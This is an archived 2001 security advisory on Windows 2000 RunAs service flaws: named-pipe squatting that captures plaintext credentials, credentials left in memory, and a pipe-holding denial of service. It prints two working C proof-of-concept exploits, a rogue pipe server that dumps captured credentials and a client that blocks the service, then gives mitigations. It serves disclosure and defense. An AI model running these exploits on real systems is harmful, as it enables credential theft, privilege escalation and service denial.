TUCoPS :: Windows :: win4854.htm

Win2K RunAs allows user to launch an application in a security context based on supplied credentials
13th Nov 2001 [SBWID-4854]
COMMAND

	RunAs

SYSTEMS AFFECTED

	Windows 2000 (SP1/SP2) Windows 2000 TSE (SP1/SP2)

PROBLEM

	Camisade - Team RADIX (research@camisade.com)  [http://www.camisade.com]
	with SecurityFocus.com Vulnerability Help Team, posted :
	

	The Windows 2000 RunAs service allows a user to  launch  an  application
	in a security context based upon a supplied set of credentials.
	

	If the service is ever in a stopped state, an arbitrary  local  user  of
	the system  has  the  ability  to  recover  the  RunAs  service  user\'s
	plaintext credentials. Additionally, the user may also  impersonate  the
	credentials the clients of the RunAs service.
	

	The utility also suffers from the fact that the buffer is  never  erased
	after the application terminates execution.
	

	Finally, the RunAs  service  suffers  from  being  non-reentrant,  which
	could lead to a DoS on that service. Details follows :
	

	 -- First bug --

	

	The  Windows  2000  API  CreateProcessWithLogonW  leverages  the   RunAs
	service to authenticate and  launch  an  application  requested  by  the
	user,  in  a  distinct  security  context,  based  on  the   credentials
	supplied. Consequently, that API must send highly sensitive data to  the
	RunAs service in order to launch that  application.  However,  that  API
	performs no server-side authenticity validation  prior  to  sending  the
	credentials.
	

	If the RunAs service is ever in a stopped state, an arbitrary  user  may
	usurp       its       named       pipe       communication       channel
	\"\\\\.\\pipe\\secondarylogon\".  The  user\'s   malicious   application
	would then be capable of stealing credentials of the users of the  RunAs
	service, because the credentials are sent  in  plaintext.  Additionally,
	the application is  capable  of  impersonating  the  clients\'  security
	context throughout the system in an effort to escalate privileges.
	

	In light of issues such as  these,  Microsoft  created  the  native  API
	NtSecureConnectPort for  sending  highly  sensitive  data  via  the  LPC
	subsystem.  Unfortunately,  there  is  no  standard  API,  provided   by
	Microsoft, for  deterministically  connecting  to  a  pipe  based  on  a
	supplied SID.
	

	Exploit :
	 

	// radix1112200101.c - Camisade - Team RADIX - 11-12-2001

	//

	// Camisade (www.camisade.com) is not responsible for the use or

	// misuse of this proof of concept source code.

	

	#define WIN32_LEAN_AND_MEAN

	#define UNICODE

	#define _UNICODE

	

	#include <windows.h>

	#include <tchar.h>

	#include <stdio.h>

	

	#define MAX_IN_BUF   0x1000

	#define MAX_OUT_BUF  0x4

	#define MAX_INST     0xA

	

	#define SECONDARY_LOGON_PIPE  _T(\"\\\\\\\\.\\\\pipe\\\\SecondaryLogon\")

	

	

	void main()

	{

	   HANDLE hPipe;

	

	   hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX, 

	      PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF, 

	      NMPWAIT_USE_DEFAULT_WAIT, 0);

	

	   if (hPipe == INVALID_HANDLE_VALUE)

	   {

	      printf(\"Can\'t create secondary logon pipe.  Error %d\\n\", GetLastError());

	      return;

	   }

	

	   printf(\"Created pipe and waiting for clients...\\n\");

	   if (ConnectNamedPipe(hPipe, 0))

	   {

	      UCHAR InBuf[MAX_IN_BUF];

	      DWORD dwReadCount;

	      

	      while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))

	      {

	         printf(\"Read %d bytes.  (ASCII Dump)\\n\", dwReadCount);

	

	         DWORD dwPos;

	         for (dwPos = 0; dwPos < dwReadCount; dwPos++)

	         {

	            printf(\"%c \", InBuf[dwPos]);

	

	            if ((dwPos % 16) == 0)

	               printf(\"\\n\");

	         }

	

	         DWORD dwReply = ERROR_ACCESS_DENIED;

	         DWORD dwWroteCount;

	         WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);

	      }

	   }

	   DisconnectNamedPipe(hPipe);

	   CloseHandle(hPipe);

	}

	

	

	 -- Second bug --

	

	Applications  that  deal  with  highly  sensitive  data,  such  as  user
	credentials,  must  ensure  that  those  credentials  are   sufficiently
	destroyed after their use.
	

	The  RunAs  utility  performs  no  such  destruction  with   credentials
	supplied  by  the  user.  They  are   left,   in   plaintext,   on   the
	application\'s  stack  when  the  application  has   terminated.   Those
	credentials will be present when an arbitrary application or driver  has
	reallocated that particular allocation page.
	

	A malicious application could wait for  a  RunAs  session  to  terminate
	then subsequently search for  that  user\'s  credentials.  In  order  to
	execute this vulnerability, the malicious  user  must  have  interactive
	access to the Windows  2000  machine.  Because  of  this,  Windows  2000
	Terminal services would be most applicable for an attack.
	

	 -- Third bug --

	

	Architecturally, all communication with the RunAs  service  is  done  by
	means of the named pipe  \"\\\\.\\pipe\\secondarylogon\".  Additionally,
	the   Windows   2000   API   CreateProcessWithLogonW   leverages    this
	communications channel in an effort to launch a process with a  supplied
	set of credentials.
	

	The RunAs service was implemented to provide service exclusively to  one
	client per request. If more than one client requests service,  from  the
	RunAs service,  simultaneously,  the  clients  will  receive  the  error
	\"231: All pipe instances are busy\".
	

	Consequently, it is possible for one client to  simply  connect  to  the
	pipe and never request any service. The RunAs service will wait for  the
	client to either disconnect or send data and will not process any  other
	requests until that happens.
	

	It is possible for the attack to occur  remotely,  however,  because  of
	the DACL associated with the pipe, the only users capable of this  would
	be members of the Administrators group.
	

	Because of the aforementioned information, the most  applicable  context
	in which this vulnerability could be leveraged would be that of  Windows
	2000 Terminal services.
	

	Exploit :
	

	// radix1112200103.c - Camisade - Team RADIX - 11-12-2001

	//

	// Camisade (www.camisade.com) is not responsible for the use or

	// misuse of this proof of concept source code.

	

	#define WIN32_LEAN_AND_MEAN

	#define UNICODE

	#define _UNICODE

	

	#include <windows.h>

	#include <tchar.h>

	

	#include <stdio.h>

	#include <conio.h>

	

	#define SECLOGON_PIPE   _T(\"\\\\\\\\.\\\\pipe\\\\secondarylogon\")

	

	

	void main()

	{

	   HANDLE hPipe;

	

	   hPipe = CreateFile(SECLOGON_PIPE, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);

	   if (hPipe == INVALID_HANDLE_VALUE)

	   {

	      printf(\"Unable to open pipe, error %d\\n\", GetLastError());

	      return;

	   }

	

	   printf(\"Connected to pipe.  Press any key to disconnect.\\n\");

	   getche();

	

	   CloseHandle(hPipe);

	}

	

SOLUTION

	In the meantime, do not use the RunAs service. However, do  not  disable
	the RunAs service. This vulnerability  can  only  be  exploited  if  the
	RunAs service is not running. The malicious  attacker  is  performing  a
	man in the middle attack using a malicious RunAs service.
	

	Summary:  Ensure  the  RunAs  service  is  in  it\'s   default   setting
	(automatically  started  and  running).  The  default  install  of   the
	service, unused and not set  to  manual  (or  disabled)  is  the  safest
	method until service pack 3 is released. As  a  temporary  solution,  do
	not use any utilities that leverage the  RunAs  service.  This  includes
	the RunAs command line utility and Explorer\'s RunAs functionality.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH